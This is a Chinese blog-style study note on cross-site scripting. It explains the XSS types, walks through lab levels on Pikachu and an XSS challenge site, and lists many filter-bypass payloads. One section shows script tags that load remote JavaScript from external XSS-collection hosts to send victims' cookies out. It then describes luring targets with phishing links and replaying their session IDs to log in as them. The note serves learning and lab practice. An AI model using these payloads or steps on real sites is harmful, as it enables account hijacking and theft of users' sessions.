网络安全学习笔记——盗取Cookies跨站脚本(XSS)

目录

一、XSS基础

二、XSS利用最大化

三、XSS打cookies实战

四、XSS的三种类型

反射性XSS

存储型XSS

DOM型XSS

五、XSS的挖掘与绕过

XSS防御机制:HTML实体化

XSS闭合与bypass

六、XSS盲打Cookies


替换cookie

得到cookie之后登录时,F12,存储,在cookie里面找到sessionid的位置,换了就可以了

一、XSS基础

XSS(Cross-Site Scripting)跨站脚本自1996年诞生以来,已经经过了十多年的演化。由于另一种网页技术——层叠式样式表的缩写一样,为了避免混淆,把CSS简称为XSS

在各种攻击漏洞中,XSS跨站脚本攻击漏洞一直被OWASP(Open Web Application Security Project)组织评为十大应用安全之一——高危但难以利用

XSS最大的特点就是能注入恶意HTML/JavaScript代码(前端语言的一种)到用户浏览的网页上面。当用户浏览这些网页时,就会执行其中的恶意代码,这样等同于完全掌握了WEB客户端的逻辑。在此基础上,黑客可以轻易的发起Cookies窃取,会话劫持,钓鱼欺骗等各种各样的攻击手段

通常情况下,XSS既可以是一种安全漏洞,也可以是一种攻击手段

常见应用场景

  • 重灾区:评论区、留言区、个人信息、订单信息等
  • 针对型:站内信、网页即时通讯、私信、意见反馈
  • 存在风险:搜索框、当前目录、图片属性等

点开Pikachu,反射性XSS,在输入框随机输一个姓名缩写,然后会发现在URL上,message上的参数就是输入的参数,可以查看页面源代码确认——Ctrl+F+姓名缩写,然后就会发现在源码里面会有输入参数(Ctrl+F+特定内容——用于查找)

可以看出——前端校验是不可靠的——Fn+F12,就可以改输入框字数的限制

如果在原来的页面代码中的任意标签之后或其内部插入之后,能够弹出来一个框框——<script>alert1</script>,那该页面就存在一个XSS漏洞,如果遇到前端输入限制,可以Fn+F12,也可以直接在URL里面进行修改,效果都是一样的

二、XSS利用最大化

XSS的危害:

  1. 网络钓鱼,包括盗取各类用户账号
  2. 窃取用户Cookies,从而获取用户的隐私信息,或者利用用户身份进一步对网站进行操作——也是它被评为十大漏洞之一的主要原因
  3. 劫持用户浏览器会话,进行任意操作,如非法转账,强制发表日志,发送电子邮件等
  4. 强制弹出广告,刷流量
  5. 网页挂马
  6. 篡改页面信息,删除文章等
  7. 进行大量的客户端操作,如DDos攻击
  8. 获取客户端信息,如用户的浏览历史,真实IP,开放端口等
  9. 操作僵尸机攻击其他网站
  10. 结合其他漏洞
  11. 进行用户提权,进一步渗透攻击
  12. 传播XSS跨站脚本蠕虫......
XSS攻击过程

在网站的输入框里面输入<script>alert(document.cookies)</script>,(document.cookies会弹出用户的cookies信息)下载到Hackerbar里面的时候:尖括号会被URL编码,在Hackerbar里面decode即可

然后就会弹出PHPSESSID=7f2e465870de1489329130(一串hex编码后的数字),SESSID——中间键,是Apache分配的,唯一的“身份证”,从SESSID入手,就可以查取用户的相关信息。互联网中校验用户的身份就是通过SESSID来校验的,如果获取了别人的SESSID,就可以任意登录该用户的账号——但此时弹框只是本地弹框

此时如果要获取的话,就需要一个中间人使用户的SESSID传回(甚至也可以在不弹框的情况下回传),由于地理位置的不同,处于不同的局域网,所以ping不通彼此,但是大家都处在同一个外网里面,可以使用公网服务器作为中间人,使用户弹出的cookies回传到公网服务器,然后操作公网服务器提取用户的cookies

使用中间人的具体做法:

  1. 公网上有个有XSS漏洞的网站
  2. 用户使用这个网站且该网站是有价值的
  3. 公网服务器作为中间人
  4. 构造恶意语句——把用户的cookies弹到公网服务器上
  5. 钓鱼 

怎么让用户访问该钓鱼链接——成功率不高,使用XSS攻击的时候:

首先要有目标的联系方式,才能把钓鱼链接发给他;

其次要知道对方管理员什么时候在线,因为网站的cookies是有时限的,在网站没登录的时候也是含有cookies信息的(可以打开Hackerbar,在存储栏查看当前尚未登录时的cookies),没登和登录的cookies是完全不同的,如果他没登录,那回弹的cookies就是没用的;

最后还要考虑时间成本,以及基于现在“全民反诈”的普及,目标不一定会点击此链接


三、XSS打cookies实战

1、准备含XSS漏洞的网站

注册云图AI开放平台,它是一个测试网站,也没有什么价值,所以一般不会被打

同源策略:定义不同的域名,cookies不共享——也就是说百度和Google等不同的网站域名、不同浏览器的cookies不共享

也就是说,如果你要自己钓鱼自己的话,也要准备两个不同账号,两个不同浏览器——同一个浏览器只能同时登录一个账号

在该网站随便搜索个关键字,在页面上会有回显,Fn+F12搜索,然后<script>alert(1)</script>

2、公网服务器作为中间人&恶意语句

找个公网服务器作为中间人,使用XSS平台——公网上的一个打XSS的平台XSS平台-仅用于xss安全测试专用新建项目,项目名称,选超强默认模式,配置,然后在新建的页面选项目代码,可以看到好多语句——但其意思是一样的,都是把目标的cookies弹回到自己这,只是表现形式不一样——打cookies的过程其实很复杂,但是这儿就简化成了几行语句

</tExtArEa>'"><sCRiPt sRC=//xss.yt/Xuzc></sCrIpT>(原ctf_web测试平台)
<sCRiPt sRC=//uj.ci/2xo></sCrIpT>

</tExtArEa>'">文本传输区域,其中的所有的反小括号>都用于作闭合————XSS也存在闭合,且很关键

<sCRiPt>是标签,sRC是跳转访问后面的链接xss.yt/Xuzc

xss.yt是网站域名, Xuzc是编号,相当于是对恶意的JS代码(xss.yt/Xuzc>)进行了一个编号,就是编号完成之后放到域名底下,自己写JS没必要也浪费时间,只要执行了域名的编号,就相当于执行了该恶意JS语句

3、钓鱼

使用替换过了的URL发给目标,诱导目标点击,然后目标的cookies就会回弹到XSS攻击平台上,展开就可以看到该目标的PHPSESSID,然后在自己的同源网站上,笔记本按Fn+F12,调出Hackerbar,点击存储,然后把PHPSESSID换成攻击之后得到的,删掉浏览框里面多余的东西,剩下XXX.php即可,刷新之后就会登录该目标的账号——XSS打cookies时可不输密码而登录账号

四、XSS的三种类型

Pikachu网站可查看相关的平台服务

XSS类型存储型反射型DOM型
触发过程1、黑客构造XSS脚本
2、正常用户访问携带XSS脚本的网页
正常用户访问携带XSS脚本的URL正常用户访问携带XSS脚本的URL
数据存储服务器URLURL
谁来输出后端Web应用程序后端Web应用程序前端JavaScript
输入位置HTTP响应中HTTP响应中用F12查看,不会出现在源代码中
是否持久
反射性XSS

攻击者事先制作好攻击链接, 需要使用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面

也称为临时XSS,分为GET型和POST型,只要语句缺失了,就不会弹出cookies。保存到数据库的XSS才会永久存在,临时的XSS不会永久存在

存储型XSS

代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)

常见的存在存储型XSS漏洞的就是评论框,因为评论的内容会被收录到数据库,作为数据的一部分,只要能看到评论框留言的都会触发恶意的JS语句

<script>alert(1)</script>
直接弹出1,放弹cookies的语句,就会收到所有浏览该评论的人的cookies
DOM型XSS

基于文档对象模型Document Objeet Model,DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分,DOM中有很多对象,其中一些是用户可以操纵的,如urI ,location,refelter等

客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞

需要检查DOM树,也就是JS树,前端树,在Pikachu里面输入内容后右键查看页面源代码,其回显不一定在哪儿,所以需要审代码,会有个domxss功能,其作用为将输入的内容进行拼接然后展示

五、XSS的挖掘与绕过

XSS防御机制:HTML实体化

XSS靶场欢迎来到XSS挑战,点击图片进入第一关,只要能够弹框就算成功

https://xssaq.com/yx/level1.php?name=<script>alert(1)</script>

然后进入第二关按照第一关,<script>alert(1)</script>,此时没有弹框,查看页面源代码,找到含有输入参数的地方,一共两处:

<h2 align=center>没有找到和&lt;script&gt;alert('xss')&lt;/script&gt;&gt;
相关的结果.</h2><center>

<input name=keyword  value="'>’<script>alert('xss')</script>>">

可以看见第一处的尖括号被替换了,这就是HTML实体化——尖括号是标签的一部分,HTML会对一些敏感的字符进行HTML编码,正常看的时候仍未尖括号,查看页面源代码的时候,尖括号就会被编码

把第二处闭合之后再添加新的语句,就可以实现弹框

https://xssaq.com/yx/level2.php?keyword=">'<script>alert('xss')</script>>&submit=搜索
XSS闭合与bypass

XSS闭合就是看输入框的语句闭合的条件是什么,然后根据源代码使其闭合,然后根据需要插入相应的恶意语句完成弹框

第三关:使用语句为鼠标移动到输入框上面就会跳转到第四关——bad=' '可有可无,尖括号和单引号都可以闭合跳转

https://xssaq.com/yx/level3.php?keyword=' onmouseover=alert('xss') bad=''>

第四关同理,使用下面语句,使鼠标悬停的时候弹框——尖括号和双引号都可以闭合

https://xssaq.com/yx/level4.php?keyword=" onmouseover=alert('xss') bad=''>

这两关使用的知识点主要是——onmouseover的属性弹框和XSS的闭合的概念

<img src="x" onerror=alert(1)> //img图片标签,src作跳转,跳转失败弹框

<img src=1 onmouseover=alert('xss')> //onmouseover鼠标覆盖之后弹框

<a href="javascript:alert(1)">baidu</a>  
//a标签作超链接,但此处点击后,会执行javascript:alert(1)弹框,直接在Fn+F12下输入也会弹框

<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>

<script>alert('xss')</script>  
//<script>javascript:alert('xss')</script>亦同,其中javascript不起作用————多用于跳转场景

<script>prompt('xss')</script>  //promote,confirm和alert一样也可以弹框——根治XSS需要禁标签

<input value="" onclick=alert('xss') type="text">

<input name="name" value="" onmouseover=prompt('xss') bad="">

<iframe src="javascript:alert('xss')"><iframe>

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<iframe src="aaa" onmouseover=alert('xss') /><iframe>

<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe> //

<svg onload=alert(1)>
——————————————————————————————————————————————————————————————————————————————————
//以下语句挑环境

<input name="name" value="" onmouseover=prompt('xss') bad=“”>  //input


<input type=“hidden” accesskey=“X” onclick=“alert(1)”>

eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,
116,46,99,111,111,107,105,101,41)) 

/*适用于绕过黑名单 alert 在跨站中,String.fromCharCode 主要是使到
一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为 ASCII 码,
然后再用 String.fromCharCode 还原,因为大多数的过滤系统都不会把 String.fromCharCode
加以过滤,例如关键字 alert 被过滤掉,那就可以这么利用 alert(document.cookie)*/

<img src="1" onerror=alert(1)>

<img src="1" onerror=alert&#40;1&#41;>  实体化()

<img src=1 onerror=alert&#40&#41>

<script>\u0061\u006c\u0065\u0072\u0074(1)</script> //

<img src="1" onerror=location="javascript:alert(1)" >

<img src="1" onerror=location="javascript:alert%281%29">

六、XSS盲打Cookies

XSS漏洞难以利用,主要是因为需要进行钓鱼,需要目标的信任

打开Pikachu,使用cmd先查询此时使用的IP地址,然后替换该网的网址,就可以打开了

点开XSS之盲打,点击右上角的提示,然后根据提示的页面资源访问Pikachu的后台,后台登录密码为:admin,123456,此时是对上传内容进入后台之后,XSS打后台

打开渗透工具里面的XSS安全平台,复制第一行的语句,放入Pikachu,然后该网站的cookies就会回传至XSS安全平台,展开可以查看

盲打就是打后台的,但是会有时间限制,因为目标上线的时间不一定

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Nosery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值